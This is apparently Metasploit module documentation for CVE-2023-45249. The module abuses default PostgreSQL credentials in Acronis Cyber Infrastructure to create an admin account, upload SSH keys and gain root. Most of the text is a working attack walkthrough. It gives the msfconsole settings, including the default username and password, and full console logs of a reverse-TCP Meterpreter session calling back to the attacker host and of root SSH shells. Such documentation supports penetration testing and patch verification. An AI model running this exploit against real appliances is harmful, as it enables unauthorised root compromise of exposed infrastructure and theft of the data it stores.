## Vulnerable Application
Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage, compute, and network resources.
Businesses and Service Providers are using it for data storage, backup storage, creating and managing virtual machines and
software-defined networks,running cloud-native applications in production environments.
This module exploits a default password vulnerability in ACI which allow an attacker to access the ACI PostgreSQL database
and gain administrative access to the ACI Web Portal.
This opens the door for the attacker to upload ssh keys that enables root access to the appliance/server.

This attack can be remotely executed over the WAN as long as the PostgreSQL and SSH services are exposed to the outside world.
ACI versions `5.0` before build `5.0.1-61`, `5.1` before build `5.1.1-71`, `5.2` before build `5.2.1-69`, `5.3` before build `5.3.1-53`,
and `5.4` before build `5.4.4-132` are vulnerable.

The following release was tested.

**Acronis Cyber Infrastructure ISO appliances:**
* Acronis Cyber Infrastructure 4.7

## Installation steps to install the Acronis Cyber Infrastructure (ACI) appliance
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
* Download [ACI iso image](https://care.acronis.com/s/article/63431-Acronis-Cyber-Infrastructure-how-to-download-ISO?language=en_US).
* Install the iso image in your virtualization engine.
* When installed, configure the VM appliance to your needs using the menu options.
* Boot up the VM and should be able to access the Acronis Cyber Infrastructure (ACI) appliance either thru the console, `ssh` on port `22`
* or via the `webui` via `http://your_aci_ip:8888`.

You are now ready to test the module.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `exploit/linux/http/acronis_cyber_infra_cve_2023_45249`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ]  `set lhost <attacker-ip>`
- [ ] `set target <0=Unix/Linux Command, 1=Interactive SSH>`
- [ ] `exploit`
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings

## Options

### USERNAME
This option is required and is the username (default: vstoradmin) to authenticate with the PostgreSQL database.

### PASSWORD
This option is required and is the password (default: vstoradmin) in plain text to authenticate with the PostgreSQL database.

### DATABASE
This option is required and is the database (default: keystone) which holds the ACI user and password configurations.

### DBPORT
This option is required and is PostgreSQL database port (default: 5432) to connect to the database.

### SSHPORT
This option is required and is the SSH port (default: 22) to establish a SSH session.

### PRIV_KEY_FILE
This option is optional and allows the use of your own SSH private key file in PEM format.
Generate your SSH private key with following command `ssh-keygen -t rsa -b 2048 -m PEM -f <your_priv_key>` or
convert your existing SSH private key to PEM format with `ssh-keygen -p -N "" -m PEM -f /path/to/existing/private/key`
If no key is provided, a SSH private key will be generated for you.

## Scenarios
```msf
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > info

       Name: Acronis Cyber Infrastructure default password remote code execution
     Module: exploit/linux/http/acronis_cyber_infra_cve_2023_45249
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-07-24

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Acronis International GmbH

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   Unix/Linux Command
      1   Interactive SSH

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  DATABASE       keystone         yes       The database to authenticate against
  DBPORT         6432             yes       PostgreSQL DB port
  PASSWORD       vstoradmin       no        The password for the specified username. Leave blank for a random password.
  PRIV_KEY_FILE                   no        SSH private key file in PEM format (ssh-keygen -t rsa -b 2048 -m PEM -f <priv_key_file>)
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-me
                                            tasploit.html
  RPORT          8888             yes       The target port (TCP)
  SSHPORT        22               yes       SSH port
  SSL            true             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI      /                yes       Path to the Acronis Cyber Infra application
  USERNAME       vstoradmin       yes       The username to authenticate as
  VHOST                           no        HTTP server virtual host

Payload information:

Description:
  Acronis Cyber Infrastructure (ACI) is an IT infrastructure solution that provides storage,
  compute, and network resources. Businesses and Service Providers are using it for data storage,
  backup storage, creating and managing virtual machines and software-defined networks, running
  cloud-native applications in production environments.
  This module exploits a default password vulnerability in ACI which allow an attacker to access
  the ACI PostgreSQL database and gain administrative access to the ACI Web Portal.
  This opens the door for the attacker to upload SSH keys that enables root access
  to the appliance/server. This attack can be remotely executed over the WAN as long as the
  PostgreSQL and SSH services are exposed to the outside world.
  ACI versions 5.0 before build 5.0.1-61, 5.1 before build 5.1.1-71, 5.2 before build 5.2.1-69,
  5.3 before build 5.3.1-53, and 5.4 before build 5.4.4-132 are vulnerable.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2023-45249
  https://security-advisory.acronis.com/advisories/SEC-6452
  https://attackerkb.com/topics/T2b62daDsL/cve-2023-45249

View the full module info with the info -d command.
```
## Scenarios
### Acronis Cyber Infrastructure 4.7 appliance Unix/Linux command
```msf
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set rhosts 192.168.201.5
rhosts => 192.168.201.5
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > check
[*] 192.168.201.5:8888 - The target appears to be vulnerable. Version 4.7.1-53
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit

[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 4.7.1-53
[*] Creating admin user qagkx with password gXv0E2DUU9 for access at the Acronis Admin Portal.
[*] Saving admin credentials at the msf database.
[*] Creating SSH private and public key.
[*] Saving SSH public and private key pair at the msf database.
[*] Getting the cluster information to upload the SSH public key at the Acronis Admin Portal.
[*] Uploading SSH public key at the Acronis Admin Portal.
[*] Authenticating with SSH private key.
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 192.168.201.5
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.5:51488) at 2024-09-15 19:45:46 +0000

meterpreter > sysinfo
Computer     : aci-471-53.vstoragedomain
OS           : Red Hat 4.7 (Linux 3.10.0-1160.41.1.vz7.183.5)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
```
### Acronis Cyber Infrastructure 4.7 appliance Interactive SSH
```msf
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set target 1
target => 1
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 4.7.1-53
[*] Creating admin user exvk1 with password NcwVNFNL3t for access at the Acronis Admin Portal.
[*] Saving admin credentials at the msf database.
[*] Creating SSH private and public key.
[*] Saving SSH public and private key pair at the msf database.
[*] Getting the cluster information to upload the SSH public key at the Acronis Admin Portal.
[*] Uploading SSH public key at the Acronis Admin Portal.
[*] Authenticating with SSH private key.
[*] Executing Interactive SSH for generic/ssh/interact
[*] SSH session 1 opened (192.168.201.8:36279 -> 192.168.201.5:22) at 2024-09-16 17:56:56 +0000

pwd
/root
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux aci-471-53.vstoragedomain 3.10.0-1160.41.1.vz7.183.5 #1 SMP Thu Sep 23 18:26:47 MSK 2021 x86_64 x86_64 x86_64 GNU/Linux
```
### Acronis Cyber Infrastructure 4.7 appliance Interactive SSH using your own SSH private key file in PEM format
```msf
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > ssh-keygen -t rsa -b 2048 -m PEM -f /tmp/aci_rsa
[*] exec: ssh-keygen -t rsa -b 2048 -m PEM -f /tmp/aci_rsa

Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /tmp/aci_rsa
Your public key has been saved in /tmp/aci_rsa.pub
The key fingerprint is:
SHA256:H1Ewu7NLZdYIV4SQZPhsaGkXb/IG9fQgZEjqfKBRTIg root@cerberus
The key's randomart image is:
+---[RSA 2048]----+
|     . +o+B*+oo  |
|    E ..oo+=+.o  |
|      . o=++.+ o |
|       ==.B=oo. .|
|      .oSo=== .  |
|         o Bo    |
|          +.     |
|         . .     |
|          .      |
+----[SHA256]-----+
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set target 1
target => 1
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set PRIV_KEY_FILE /tmp/aci_rsa
PRIV_KEY_FILE => /tmp/aci_rsa
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > set rhosts 192.168.201.5
rhosts => 192.168.201.5
msf exploit(linux/http/acronis_cyber_infra_cve_2023_45249) > exploit

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 4.7.1-53
[*] Creating admin user gzarzyh with password XiloxPsdto for access at the Acronis Admin Portal.
[*] Saving admin credentials at the msf database.
[*] Using your own SSH private key file: /tmp/aci_rsa in PEM format.
[*] Saving SSH public and private key pair at the msf database.
[*] Uploading SSH public key at the Acronis Admin Portal.
[*] Authenticating with SSH private key.
[*] Executing Interactive SSH for generic/ssh/interact
[*] SSH session 1 opened (192.168.201.8:40083 -> 192.168.201.5:22) at 2024-09-20 09:40:22 +0000

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux aci-471-53.vstoragedomain 3.10.0-1160.41.1.vz7.183.5 #1 SMP Thu Sep 23 18:26:47 MSK 2021 x86_64 x86_64 x86_64 GNU/Linux
ls -l .ssh
total 4
-rw------- 1 root root 872 Sep 20 11:40 authorized_keys
cat .ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCauf4JO4xGHWulsoHHOwTXztTvJ4FQz92RTicFIqqHOPvR3vsXkWYJP4vE109/ZnUh64jsMqMb+x66q3+D86rts/ST4smpMjQpL2uwfrn3KHKwVmH7vMYb07q4F8M2nw4TgzYcsXONqAyxmbW0ZJ3P3CdlXXiXMvyUmy55OyVgaBnjoiE1GJxXnssCqPMkf0MaZfZqaaBk3onaKnJ4pRROHe1LEaagSM7dOHjS1F6ViVUYtcfFLQfXj4Q7WsWS5uSUy6HkxDn5PNvzUli7SDJ5aPTDqmmeDjzoVlUl7ZP4CYZlrTpZ1v0C0IuI3qlZmuHPuGaCDN7ymPsRUV71aqv3 root VSTOR-KEY-ID:1966f610-e22a-4147-bec3-4cfb945bdee7
```

## Limitations
When using your own SSH private key, be aware of the fact that you can not upload the same SSH public key twice via Acronis Web Portal.
Duplicate SSH public keys are not allowed and the exploit will fail if this occurs.
